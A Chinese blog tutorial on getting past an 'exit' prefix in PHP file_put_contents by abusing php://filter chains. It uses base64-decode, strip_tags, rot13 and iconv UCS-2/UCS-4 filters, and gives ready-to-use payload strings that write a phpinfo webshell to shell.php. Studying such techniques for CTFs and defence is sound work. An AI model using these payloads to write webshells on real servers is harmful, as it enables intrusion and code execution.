file_put_contents利用技巧(php://filter协议)
<p><span style="font-size: 18px"><strong>Round 1</strong></span></p><div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(128, 0, 128, 1)">$content</span> = '<?php exit; ?>'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(128, 0, 128, 1)">$content</span> .= <span style="color: rgba(128, 0, 128, 1)">$_POST</span>['txt'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 128, 128, 1)">file_put_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['filename'], <span style="color: rgba(128, 0, 128, 1)">$content</span>);</pre>
</div>
<p><code>$content</code>在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。幸运的是,这里的<code>$_POST['filename']</code>是可以控制协议的,我们即可使用 php://filter协议来施展魔法。</p>
<p><strong>#方法一、base64编码</strong></p>
<p>使用php://filter流的base64-decode方法,将<code>$content</code>解码,利用php base64_decode函数特性去除“死亡exit”。</p>
<p>众所周知,base64编码中只包含64个可打印字符(A-Z a-z 0-9 + /)'='补位,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。</p>
<p>所以,当<code>$content</code>被加上了<code><?php exit; ?></code>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。</p>
<p>“phpexit”一共7个字符,<strong>因为base64算法解码时是4个byte一组</strong>,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<code><?php exit; ?></code>没有了。</p>
<p>最终效果:</p>
<p><img src="https://img2020.cnblogs.com/blog/1964477/202004/1964477-20200406235335043-1930261389.png" alt="" width="685" height="246"></p>
<p><strong>#方法二、利用字符串操作方法+base64组合拳</strong></p>
<p>除了使用base64特性的方法外,我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个<code><?php exit; ?></code>实际上是什么?</p>
<p>实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。</p>
<p>编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">readfile</span>('php://filter/read=string.strip_tags/resource=php://input');</pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1964477/202004/1964477-20200406234627327-1601681134.png" alt="" width="800" height="165"></p>
<p>可见,<code><?php exit; ?></code>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。</p>
<p>万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。</p>
<p>最终效果:</p>
<p><img src="https://img2020.cnblogs.com/blog/1964477/202004/1964477-20200406234831984-1876664653.png" alt="" width="591" height="227"></p>
<p><strong>#方法三、ROT13编码</strong></p>
<p>原理和上面类似,核心是将“死亡exit”去除。<code><?php exit; ?></code>在经过rot13编码后会变成<code><?cuc rkvg; ?></code>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:</p>
<p><img src="https://img2020.cnblogs.com/blog/1964477/202004/1964477-20200407000202377-1581427195.png" alt="" width="598" height="202"></p>
<p> </p>
<p><strong><span style="font-size: 18px"> Round 2 </span></strong></p>
<div class="cnblogs_code">
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
$a </span>= <span style="color: rgba(128, 0, 128, 1)">$_POST</span>['txt'<span style="color: rgba(0, 0, 0, 1)">];
</span><span style="color: rgba(0, 128, 128, 1)">file_put_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$a</span>,"<?php <span style="color: rgba(0, 0, 255, 1)">exit</span>();".<span style="color: rgba(128, 0, 128, 1)">$a</span>);</pre>
</div>
<p>这种是前后两个变量相同,假设$a可控情况。</p>
<p>这种相同变量的构造方式和不同变量的构造方式思路是大差不差的,都是需要干掉<code><?php exit();</code>,只不过构造起来相对更复杂一些。</p>
<p><strong>#方法一、base64编码</strong></p>
<p>根据前面介绍的不同变量的构造方法,很容易拓展到相同的变量,同样利用php://filter来构造,反正后面是写入的内容,只要在后面解码的时候把shell解码出来,不需要的东西解码成乱码即可,而Base64构造的话,例如</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(128, 0, 128, 1)">$a</span>=php:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">filter/write=convert.base64-decode|PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php</span>
<span style="color: rgba(0, 0, 0, 1)">
( </span><?php <span style="color: rgba(0, 128, 128, 1)">phpinfo</span>();?> base64编码 PD9waHAgcGhwaW5mbygpOz8+ )</pre>
</div>
<p>构造的shell可以放在过滤器的位置和文件名位置都可以(其他编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则(一串base64)是报个Warning,绕后跳过继续执行的(不会退出),所以按理说这样构造是“很完美”的。我们看下base-decode哪些字符👇</p>
<div class="cnblogs_code">
<pre>php<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">filter/write=</span><span style="color: rgba(0, 128, 0, 1)">convertbase64decodePD9waHAgcGhwaW5mbygpOz8+/resource=shellphp</span></pre>
</div>
<p>而默认情况下base64编码是以 = 作为结尾的,所以正常解码的时候到了 = 就解码结束了,即使我们构造payload的时候不用<code>write=</code>,但是在最后获取文件名的时候<code>resource=</code>中的 = 过不掉,所以导致过滤器解码失败,从而报错...</p>
<p>这里用base64编码我还没找到好的方法,待补充...</p>
<p><strong>#方法二、ROT13</strong></p>
<p>rot13编码就不存在base64的问题,所以和前面base64构造的思路一样</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(128, 0, 128, 1)">$a</span> = php:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1964477/202004/1964477-20200407103428847-745843372.png" alt="" width="598" height="234"><img src="https://img2020.cnblogs.com/blog/1964477/202004/1964477-20200407103501626-1447360416.png" alt="" width="437" height="159"></p>
<p> </p>
<p> 和前面提到的一样,这种方法是需要服务器没有开启短标签的时候才可以使用(默认情况是没开启的:php.ini中的short_open_tag)</p>
<p><strong>#方法三、iconv字符编码转换</strong></p>
<p>通过字符转换把<code><?php exit();</code>转成不能解析的,这里采用的是UCS-2或者UCS-4编码方式,而我们构造的转成可正常解析的</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');</span>
?<hp phpipfn(o;)>?</pre>
</div>
<p>这里用的是UCS-2,当然我们也可以用UCS-4</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(0, 128, 128, 1)">iconv</span>("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>'<span style="color: rgba(0, 0, 0, 1)">);
</span>?<aa phpiphp(ofn>?;)</pre>
</div>
<p>通过UCS-2或者UCS-4的方式,对目标字符串进行2/4位一反转,也就是说构造的需要是UCS-2或UCS-4中2或者4的倍数,不然不能进行反转,那我们就可以利用这种过滤器进行编码转换绕过了,构造payload</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(128, 0, 128, 1)">$a</span>='php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php'<span style="color: rgba(0, 0, 0, 1)">;
</span>**or**
<span style="color: rgba(128, 0, 128, 1)">$a</span>='php://filter/convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=shell.php'<span style="color: rgba(0, 0, 0, 1)">;
</span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">由于是4位一反转,所以需要保证?<aa phpiphp(ofn>?;)之前字符个数是4的倍数,所以补充了 xxx</span></pre>
</div>
<p> </p>
<p> <img src="https://img2020.cnblogs.com/blog/1964477/202004/1964477-20200407105517997-451500709.png" alt="" width="769" height="306"></p>
<p> </p>
<p><strong>#方法四、iconv字符编码转换+ROT13编码组合拳</strong></p>
<p>和前后不同的变量的利用一样,相同变量一样可以使用组合拳,原因前面描述过了,就不赘述,这里就用UCS-2和rot13举一个例子吧</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(128, 0, 128, 1)">$a</span> = '<span style="color: rgba(0, 0, 0, 1)">php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php'
#先将 <?php phpinfo(); ?> 进行rot13得到<?cuc cucvasb();?>
#再对<?cuc cucvasb();?>进行UCS2编码转换得到?<uc cucvcsa(b;)>?
#最后x 补位
#最终得到x?<uc cucvcsa(b;)>?</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1964477/202004/1964477-20200407111602416-1849632067.png" alt="" width="657" height="287"></p>
<p> </p>
<p> 为何不用string.strip_tags呢?因为rot13转换的同样会被strip_tags方法给删除了,而UCS-2或UCS-4构造的也同样会被strip_tags方法给删除,这里需要找其他的编码方式进行构造。</p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p>参考:</p>
<p>https://www.leavesongs.com/PENETRATION/php-filter-magic.html</p>
<p>https://mp.weixin.qq.com/s/BXBe0sviIpjzQb49fk1TCg</p>
</div>
<div id="MySignature" role="contentinfo">
永远相信永远热爱<br><br>
来源:https://www.cnblogs.com/yokan/p/12650702.html
頁:
[1]